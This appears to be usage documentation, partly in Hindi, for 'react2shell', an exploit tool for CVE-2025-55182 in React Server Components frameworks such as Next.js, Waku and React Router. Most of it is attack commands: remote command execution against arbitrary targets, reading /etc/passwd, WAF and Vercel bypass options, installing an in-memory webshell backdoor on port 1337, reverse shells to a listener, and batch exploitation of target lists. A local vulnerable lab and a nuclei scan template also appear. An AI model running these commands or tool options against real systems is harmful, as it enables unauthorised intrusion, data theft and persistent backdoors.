cd cli
pip install -r requirements.txt

# लक्ष्य स्कैन करें
python react2shell.py https://target.com

# कमांड निष्पादित करें
python react2shell.py https://target.com -c "id"

# इंटरैक्टिव शेल
python react2shell.py https://target.com -i

cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

# मूल स्कैन (फ्रेमवर्क का स्वतः पता लगाता है)
python react2shell.py https://target.com

# फ्रेमवर्क का पता लगाएं और एंडपॉइंट्स की गणना करें
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# विभिन्न फ्रेमवर्क पर कमांड निष्पादित करें
python react2shell.py https://target.com -c "id"                    # Next.js (स्वचालित)
python react2shell.py https://target.com -F waku -c "id"            # Waku (अंधा RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# आउटपुट के साथ प्रयोगशाला उदाहरण
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# सभी WAF बाईपास के साथ कमांड निष्पादित करें
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# प्रॉक्सी के माध्यम से इंटरैक्टिव शेल
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# मेमोरी-आधारित वेबशेल स्थापित करें (पोर्ट 1337 पर बैकडोर बनाता है)
python react2shell.py https://target.com --webshell mypassword
# एक्सेस: curl 'http://target:1337/?p=mypassword&cmd=id'

# रिवर्स शेल
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# स्थानीय प्रोजेक्ट को असुरक्षित संस्करणों के लिए स्कैन करें
python react2shell.py -L /path/to/project

# आउटपुट के साथ बैच स्कैन
python react2shell.py targets.txt -t 20 -o results.json -v

Execution Options:
  -c, --cmd             Command to execute
  -i, --interactive     Interactive shell session
  -r, --reverse         Reverse shell mode
  -l, --lhost           Listener host
  -p, --lport           Listener port
  -S, --shell-type      Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Read a remote file

Scanning Options:
  -P, --path            Paths to test (comma-separated or file)
  -t, --threads         Number of threads (default: 10)
  -T, --timeout         Request timeout in seconds (default: 10)
  -s, --safe            Safe mode (no code execution)
  -L, --local           Scan local project directory
  -F, --framework       Target framework (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumerate RSC endpoints before exploitation
  --detect              Only detect framework and list endpoints
  --webshell            Install in-memory webshell on port 1337
  --rce                 RCE proof-of-concept mode (default: safe mode)

Bypass Options:
  -w, --waf-bypass      Junk data padding
  -W, --waf-size        Junk size in KB (default: 128)
  -u, --unicode         Unicode encoding bypass
  -V, --vercel-bypass   Vercel-specific bypass
  --windows             Windows PowerShell payloads

Request Options:
  -x, --proxy           Proxy URL (e.g., http://127.0.0.1:8080)
  -H, --header          Custom headers
  -A, --user-agent      Custom User-Agent
  -k, --insecure        Disable SSL verification

Output Options:
  -o, --output          Save results to JSON
  -v, --verbose         Verbose output with version detection
  -q, --quiet           Only show vulnerable targets
  --no-color            Disable colors
  --no-banner           Hide banner